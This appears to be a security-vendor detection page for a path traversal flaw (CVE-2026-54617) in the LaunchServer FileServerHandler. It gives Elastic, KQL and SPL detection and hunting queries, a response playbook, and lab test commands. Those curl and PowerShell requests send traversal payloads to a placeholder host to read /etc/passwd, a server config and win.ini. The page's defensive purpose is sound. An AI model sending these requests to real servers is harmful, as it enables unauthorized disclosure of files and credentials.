CVE-2026-54617 Elastic Security · Elastic

Detect LaunchServer FileServerHandler Unauthenticated Path Traversal (CVE-2026-54617) in Elastic Security

Detects exploitation attempts against pro.gravit.launcher:launchserver-api's FileServerHandler, which is vulnerable to an unauthenticated path traversal (CWE-22) allowing arbitrary file read (CWE-200) and disclosure of sensitive data such as credentials or keys (CWE-522) in versions <= 5.7.11. Attackers send crafted HTTP requests containing traversal sequences (../, encoded variants, absolute paths) to the LaunchServer file-serving endpoint to read files outside the intended web root, including server configs, private keys, and auth databases.

MITRE ATT&CK

Tactic
Initial Access Collection

Elastic Detection Query

Elastic Security (Elastic)
eql 
any where event.dataset == "nginx.access" or event.dataset == "apache.access" and
  url.path : "*FileServerHandler*" and
  (url.original : "*..%2f*" or url.original : "*..%5c*" or url.original : "*../*" or url.original : "*%2e%2e%2f*" or url.original : "*..%c0%af*")
critical severity medium confidence

Detects HTTP requests to LaunchServer FileServerHandler containing directory traversal payloads indicating exploitation of CVE-2026-54617.

Data Sources

Nginx Access LogsApache Access LogsElastic Agent HTTP Module

Required Tables

logs-nginx.access-*logs-apache.access-*

False Positives & Tuning

  • Scanner traffic performing authorized penetration testing
  • Non-malicious percent-encoded query parameters
  • Reverse proxy path normalization artifacts logged pre-normalization

Other platforms for CVE-2026-54617

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Basic path traversal against FileServerHandler

    Expected signal: Web/proxy access log entry showing GET request to FileServerHandler with '../' sequences and response body containing /etc/passwd content or a 200 status.

  2. Test 2URL-encoded traversal against FileServerHandler

    Expected signal: Access log entry with percent-encoded traversal sequences in the request URI/query targeting FileServerHandler.

  3. Test 3Windows-style backslash traversal against FileServerHandler

    Expected signal: IIS/web log entry showing a request to FileServerHandler containing '..%5c' sequences and an unusual response size for win.ini content.

Last updated: 2026-08-01 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the source IP and confirm whether the request targeted the FileServerHandler endpoint with traversal sequences in the URI or query string.
  2. Check the HTTP response status and size to determine if the traversal attempt was successful (200 OK with unexpected file content vs 403/404 blocked).
  3. Determine the LaunchServer version in use; versions <= 5.7.11 of pro.gravit.launcher:launchserver-api are vulnerable.
  4. Review requested file paths for sensitive targets such as configuration files, private keys, database files, or credential stores.

Containment

  1. Block the offending source IP(s) at the WAF/firewall and rate-limit or disable public access to the FileServerHandler endpoint until patched.
  2. Upgrade pro.gravit.launcher:launchserver-api to a fixed version beyond 5.7.11 or apply vendor-recommended mitigations restricting file server path resolution.

Evidence Collection

  1. Preserve raw web/proxy access logs covering the exploitation window, including full request URIs, headers, and response bodies where feasible.
  2. Collect a copy of any files that may have been disclosed (server configs, key material, auth databases) to assess the scope of exposure and rotate any exposed secrets.

Escalation Criteria

  • !Escalate immediately if response evidence indicates successful retrieval of credentials, private keys, or session/auth database contents.
  • !Escalate if multiple distinct source IPs are observed probing the same endpoint, suggesting mass scanning or automated exploitation campaigns.

Investigation Guide

Related Techniques

[object Object][object Object]

Forensic Artifacts

  • >Web/proxy access logs showing FileServerHandler requests with traversal payloads and response status/size
  • >LaunchServer application logs showing file access errors or unexpected file paths resolved outside the intended directory

Tuning Guidance

Baseline normal FileServerHandler traffic from legitimate launcher clients (mod/asset downloads) to reduce false positives from benign encoded characters. Exclude known internal scanner/pentest IP ranges. Tighten matching to include only requests where traversal sequences resolve outside the expected asset directory depth, and correlate with response status 200 plus unusual response size to prioritize alerts on likely successful exploitation.

Hunting Queries

Hunts for source IPs making an abnormally high number of distinct requests to the FileServerHandler endpoint, indicative of automated traversal fuzzing.

Hunting — KQL
kql 
W3CIISLog
| where cs_uri_stem has "FileServerHandler"
| summarize RequestCount=count(), DistinctURIs=dcount(cs_uri_query) by c_ip
| where DistinctURIs > 5
| sort by RequestCount desc
Hunting — SPL
spl 
index=web_proxy uri="*FileServerHandler*"
| stats count dc(uri) as distinct_uris by src_ip
| where distinct_uris > 5
| sort -count

Atomic Red Team Tests

Test 1 Basic path traversal against FileServerHandler
linux

Sends a crafted GET request with ../ sequences to attempt reading /etc/passwd via the FileServerHandler endpoint in a lab LaunchServer instance.

Command

bash 
curl -s 'http://TARGET_HOST:PORT/FileServerHandler?file=../../../../etc/passwd' -o /tmp/traversal_test_output.txt

Cleanup

bash 
rm -f /tmp/traversal_test_output.txt

Expected Telemetry

Web/proxy access log entry showing GET request to FileServerHandler with '../' sequences and response body containing /etc/passwd content or a 200 status.

Expected Detection

KQL and SPL rules alert on the FileServerHandler request containing '../' traversal patterns.

Test 2 URL-encoded traversal against FileServerHandler
linux

Sends a URL-encoded traversal payload (%2e%2e%2f) to the FileServerHandler endpoint to bypass naive string filters and read a sensitive config file.

Command

bash 
curl -s 'http://TARGET_HOST:PORT/FileServerHandler?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fconfig%2fserver.cfg' -o /tmp/traversal_encoded_output.txt

Cleanup

bash 
rm -f /tmp/traversal_encoded_output.txt

Expected Telemetry

Access log entry with percent-encoded traversal sequences in the request URI/query targeting FileServerHandler.

Expected Detection

Elastic EQL and QRadar AQL rules match on '%2e%2e%2f' pattern in the URL targeting FileServerHandler.

Test 3 Windows-style backslash traversal against FileServerHandler
windows

Sends a request using backslash and double-encoded traversal sequences targeting a Windows-hosted LaunchServer instance to read a file outside the web root.

Command

powershell 
powershell -Command "Invoke-WebRequest -Uri 'http://TARGET_HOST:PORT/FileServerHandler?file=..%5c..%5c..%5cWindows%5cwin.ini' -OutFile 'C:\Temp\traversal_win_output.txt'"

Cleanup

powershell 
powershell -Command "Remove-Item -Path 'C:\Temp\traversal_win_output.txt' -Force -ErrorAction SilentlyContinue"

Expected Telemetry

IIS/web log entry showing a request to FileServerHandler containing '..%5c' sequences and an unusual response size for win.ini content.

Expected Detection

KQL rule alerts on backslash-encoded traversal sequence ('..%5c') within FileServerHandler requests.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0009Collection

Related Techniques

T1190Exploit Public-Facing ApplicationT1005Data from Local System

Same Tactic: Initial Access

Popular Detections